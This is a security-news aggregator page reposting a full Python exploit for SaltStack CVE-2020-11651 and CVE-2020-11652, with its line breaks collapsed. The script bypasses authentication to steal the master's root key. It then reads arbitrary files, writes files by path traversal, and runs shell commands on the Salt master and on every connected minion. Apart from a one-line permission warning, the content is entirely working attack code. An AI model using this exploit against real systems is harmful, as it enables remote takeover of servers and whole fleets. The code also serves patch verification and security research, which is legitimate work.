HackDig : Dig high-quality web security articles for hackers

Saltstack 3000.1 Remote Code Execution

2020-05-24 08:46
# Exploit Title: Saltstack 3000.1 - Remote Code Execution# Date: 2020-05-04# Exploit Author: Jasper Lievisse Adriaanse# Vendor Homepage: https://www.saltstack.com/# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*# Tested on: Debian 10 with Salt 2019.2.0# CVE : CVE-2020-11651 and CVE-2020-11652# Discription: Saltstack authentication bypass/remote code execution## Source: https://github.com/jasperla/CVE-2020-11651-poc# This exploit is based on this checker script:# https://github.com/rossengeorgiev/salt-security-backports#!/usr/bin/env python## Exploit for CVE-2020-11651 and CVE-2020-11652# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)# This exploit is based on this checker script:# https://github.com/rossengeorgiev/salt-security-backportsfrom __future__ import absolute_import, print_function, unicode_literalsimport argparseimport datetimeimport osimport os.pathimport sysimport timeimport saltimport salt.versionimport salt.transport.clientimport salt.exceptionsdef init_minion(master_ip, master_port):    minion_config = {        'transport': 'zeromq',        'pki_dir': '/tmp',        'id': 'root',        'log_level': 'debug',        'master_ip': master_ip,        'master_port': master_port,        'auth_timeout': 5,        'auth_tries': 1,        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)    }    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')# --- check funcs ----def check_salt_version():  print("[+] Salt version: {}".format(salt.version.__version__))  vi = salt.version.__version_info__  if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):     return True  else:     return Falsedef check_connection(master_ip, master_port, channel):  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')  sys.stdout.flush()  # connection check  try:    channel.send({'cmd':'ping'}, timeout=2)  except salt.exceptions.SaltReqTimeoutError:    print("OFFLINE")    sys.exit(1)  else:    print("ONLINE")def check_CVE_2020_11651(channel):  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')  sys.stdout.flush()  # try to evil  try:    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)  except salt.exceptions.SaltReqTimeoutError:    print("YES")  except:    print("ERROR")    raise  else:      pass  finally:    if rets:      root_key = rets[2]['root']      return root_key  return Nonedef check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')  sys.stdout.flush()  # try read file  msg = {    'cmd': 'get_token',    'arg': [],    'token': top_secret_file_path,  }  try:    rets = channel.send(msg, timeout=3)  except salt.exceptions.SaltReqTimeoutError:    print("YES")  except:    print("ERROR")    raise  else:    if debug:      print()      print(rets)    print("NO")  def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')  sys.stdout.flush()  # try read file  msg = {    'key': root_key,    'cmd': 'wheel',    'fun': 'file_roots.read',    'path': top_secret_file_path,    'saltenv': 'base',  }  try:    rets = channel.send(msg, timeout=3)  except salt.exceptions.SaltReqTimeoutError:    print("TIMEOUT")  except:    print("ERROR")    raise  else:    if debug:      print()      print(rets)    if rets['data']['return']:      print("YES")    else:      print("NO")def check_CVE_2020_11652_write1(debug, channel, root_key):  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')  sys.stdout.flush()  # try read file  msg = {    'key': root_key,    'cmd': 'wheel',    'fun': 'file_roots.write',    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',    'data': 'evil',    'saltenv': 'base',  }  try:    rets = channel.send(msg, timeout=3)  except salt.exceptions.SaltReqTimeoutError:    print("TIMEOUT")  except:    print("ERROR")    raise  else:    if debug:      print()      print(rets)    pp(rets)    if rets['data']['return'].startswith('Wrote'):      try:        os.remove('/tmp/salt_CVE_2020_11652')      except OSError:        print("Maybe?")      else:        print("YES")    else:      print("NO")def check_CVE_2020_11652_write2(debug, channel, root_key):  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')  sys.stdout.flush()  # try read file  msg = {    'key': root_key,    'cmd': 'wheel',    'fun': 'config.update_config',    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',    'yaml_contents': 'evil',    'saltenv': 'base',  }  try:    rets = channel.send(msg, timeout=3)  except salt.exceptions.SaltReqTimeoutError:    print("TIMEOUT")  except:    print("ERROR")    raise  else:    if debug:      print()      print(rets)    if rets['data']['return'].startswith('Wrote'):      try:        os.remove('/tmp/salt_CVE_2020_11652.conf')      except OSError:        print("Maybe?")      else:        print("YES")    else:      print("NO")def pwn_read_file(channel, root_key, path, master_ip):    print("[+] Attemping to read {} from {}".format(path, master_ip))    sys.stdout.flush()    msg = {        'key': root_key,        'cmd': 'wheel',        'fun': 'file_roots.read',        'path': path,        'saltenv': 'base',    }    rets = channel.send(msg, timeout=3)    print(rets['data']['return'][0][path])def pwn_upload_file(channel, root_key, src, dest, master_ip):    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))    sys.stdout.flush()    try:        fh = open(src, 'rb')        payload = fh.read()        fh.close()    except Exception as e:        print('[-] Failed to read {}: {}'.format(src, e))        return    msg = {        'key': root_key,        'cmd': 'wheel',        'fun': 'file_roots.write',        'saltenv': 'base',        'data': payload,        'path': dest,    }    rets = channel.send(msg, timeout=3)    print('[ ] {}'.format(rets['data']['return']))def pwn_exec(channel, root_key, cmd, master_ip, jid):    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))    sys.stdout.flush()    msg = {        'key': root_key,        'cmd': 'runner',        'fun': 'salt.cmd',        'saltenv': 'base',        'user': 'sudo_user',        'kwarg': {            'fun': 'cmd.exec_code',            'lang': 'python',            'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)        },        'jid': jid,    }    try:        rets = channel.send(msg, timeout=3)    except Exception as e:        print('[-] Failed to submit job')        return    if rets.get('jid'):        print('[+] Successfully scheduled job: {}'.format(rets['jid']))def pwn_exec_all(channel, root_key, cmd, master_ip, jid):    print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))    sys.stdout.flush()    msg = {        'key': root_key,        'cmd': '_send_pub',        'fun': 'cmd.run',        'user': 'root',        'arg': [ "/bin/sh -c '{}'".format(cmd) ],        'tgt': '*',        'tgt_type': 'glob',        'ret': '',        'jid': jid    }    try:        rets = channel.send(msg, timeout=3)    except Exception as e:        print('[-] Failed to submit job')        return    finally:        if rets == None:            print('[+] Successfully submitted job to all minions.')        else:            print('[-] Failed to submit job')def main():    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')    parser.add_argument('--port', '-p', dest='master_port', default='4506')    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')    parser.add_argument('--read', '-r', dest='read_file')    parser.add_argument('--upload-src', dest='upload_src')    parser.add_argument('--upload-dest', dest='upload_dest')    parser.add_argument('--exec', dest='exec', help='Run a command on the master')    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')    args = parser.parse_args()    print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")    time.sleep(1)    # Both src and destination are required for uploads    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):        print('[-] Must provide both --upload-src and --upload-dest')        sys.exit(1)    channel = init_minion(args.master_ip, args.master_port)    if check_salt_version():       print("[ ] This version of salt is vulnerable! Check results below")    elif args.force:       print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")    else:       sys.exit()    check_connection(args.master_ip, args.master_port, channel)        root_key = check_CVE_2020_11651(channel)    if root_key:        print('n[*] root key obtained: {}'.format(root_key))    else:        print('[-] Failed to find root key...aborting')        sys.exit(127)    if args.run_checks:        # Assuming this check runs on the master itself, create a file with "secret" content        # and abuse CVE-2020-11652 to read it.        top_secret_file_path = '/tmp/salt_cve_teta'        with salt.utils.fopen(top_secret_file_path, 'w') as fd:            fd.write("top secret")        # Again, this assumes we're running this check on the master itself        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:            root_key = keyfd.read()        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)        check_CVE_2020_11652_write1(debug, channel, root_key)        check_CVE_2020_11652_write2(debug, channel, root_key)        os.remove(top_secret_file_path)        sys.exit(0)    if args.read_file:        pwn_read_file(channel, root_key, args.read_file, args.master_ip)    if args.upload_src:        if os.path.isabs(args.upload_dest):            print('[-] Destination path must be relative; aborting')            sys.exit(1)        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())    if args.exec:        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)    if args.exec_all:        print("[!] Lester, is this what you want? Hit ^C to abort.")        time.sleep(2)        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)if __name__ == '__main__':    main()


Source: 4600500202-BLW/eussi/moc.ytirucesxc

Read:143 | Comments:0 | Tags:No Tag

“Saltstack 3000.1 Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud